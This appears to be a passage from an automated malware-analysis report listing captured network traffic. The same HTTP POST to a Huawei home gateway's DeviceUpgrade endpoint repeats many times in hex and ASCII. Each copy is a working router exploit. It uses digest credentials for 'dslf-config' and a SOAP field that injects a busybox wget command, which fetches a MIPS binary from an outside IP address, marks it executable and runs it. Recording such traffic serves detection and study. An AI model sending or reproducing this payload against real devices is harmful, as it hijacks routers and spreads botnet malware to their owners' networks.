6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
